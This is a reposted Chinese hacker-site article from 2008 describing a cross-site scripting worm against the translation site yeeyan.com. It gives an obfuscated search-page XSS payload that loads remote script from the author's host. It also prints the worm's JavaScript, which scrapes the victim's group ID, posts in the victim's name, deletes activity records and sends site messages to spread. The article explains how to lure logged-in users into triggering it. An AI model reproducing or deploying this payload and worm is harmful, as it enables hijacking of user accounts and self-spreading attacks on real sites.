黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]Search Engine XSS Worm
        ★★★★★

Search Engine XSS Worm

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-7 11:28:16

有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。译言http://www.yeeyan.com/是一个“发现、翻译、阅读中文之外的互联网精华”的web2.0网站,过滤系统真BT,不过其搜索引擎存在跨站,它的搜索引擎也真够BT,转义单引号、双引号,并且当搜索值含英文冒号:时就不返回搜索结果。于是我只能这样构造:

以下是引用片段:
http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41))%3C/s%63%72ipt%3E

本来搜索引擎跨站没什么好玩的,但这次在yeeyan这就可以利用这个易被忽略点来诞生个XSS WORM。蠕虫要诞生必须解决以下几点:

Q1、上面这个Search Engine XSS Trap如何包含远程蠕虫?

A1、因为蠕虫的代码会很多,不可能一次性出现在这个XSS Trap中(对比:复制自身的微型XSS Worm),所以要想办法利用这个XSS Trap来调用远程蠕虫。方法很多,你解码这个XSS Trap就知道我的方法:)

Q2、如何让其他验证用户访问这个Search Engine XSS Trap?

A2、 先给某几位用户发站内信(借用蠕虫本身就可以批量发送:)),欺骗其访问,一旦他们访问,则这个XSS Trap会调用远程蠕虫,蠕虫会获取他们的好友信息与他们的信箱信息等等,这里面都有其他用户的信息。于是这个Search Engine XSS Trap就可以随站内信系统大量传播。

Q2、蠕虫如何获取访问Search Engine XSS Trap的用户标志信息?

A3、这点很重要,蠕虫的传播是要很多宿主的,要获得这些宿主就必须能够很清晰地获取特定用户标志信息,比如他的ID、他的空间地址等等。蠕虫一旦传播开,那就是爆发式的:)。

这些问题我都解决了,于是yeeyan的这个Search Engine XSS Worm就成功诞生。蠕虫部分代码如下:

以下是引用片段:
var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
_1();
function _1(){
var _u=_3or7("GET","http://www.yeeyan.com/space/showme",null);
re=/\<a href=\"\/space\/groups\/(.*?)\">/i
r=_u.match(re);
src="http://www.yeeyan.com/groups/newTopic/";
var _txt="HELLO YEEYAN.";
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[Post][content]\"\r\n\r\n";
argv_1+=(_txt+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsggroup\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee_username\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
var _del=_3or7("GET","http://www.yeeyan.com/space/deleteEvent/15429",null);
//删除记录只需这样即可:)
_2();
}
function _2(){
src="http://www.yeeyan.com/space/compose_message";
var _to="Yasmin";
var _s="yeeyan";
var _m="HELLO:)"
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[receiver_name]\"\r\n\r\n";
argv_1+=(_to+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[subject]\"\r\n\r\n";
argv_1+=(_s+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message][content]\"\r\n\r\n";
argv_1+=(_m+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message_id]\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[action]\"\r\n\r\n";
argv_1+=("send"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
alert(0);
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
_x.send(_a);
return _x.responseText;
}
要理解这些代码可以参考我以前的文章,这里有线索:http://www.0x37.com/post/2.html。我写这个蠕虫的目的是验证http://www.0x37.com/post/2.html我 的这篇文章提到的方法,我只能说老外有点不负责任:),我还得重新编码,这个方法理论上是行得通的,只是我目前遇到了点麻烦。还是构造HTTP消息头来 POST蠕虫信息爽。借用搜索引擎来诞生蠕虫,我还是第一次这样做。只要满足XSS Trap与目标攻击点在严格的同域内就OK。

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
没有相关文章
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886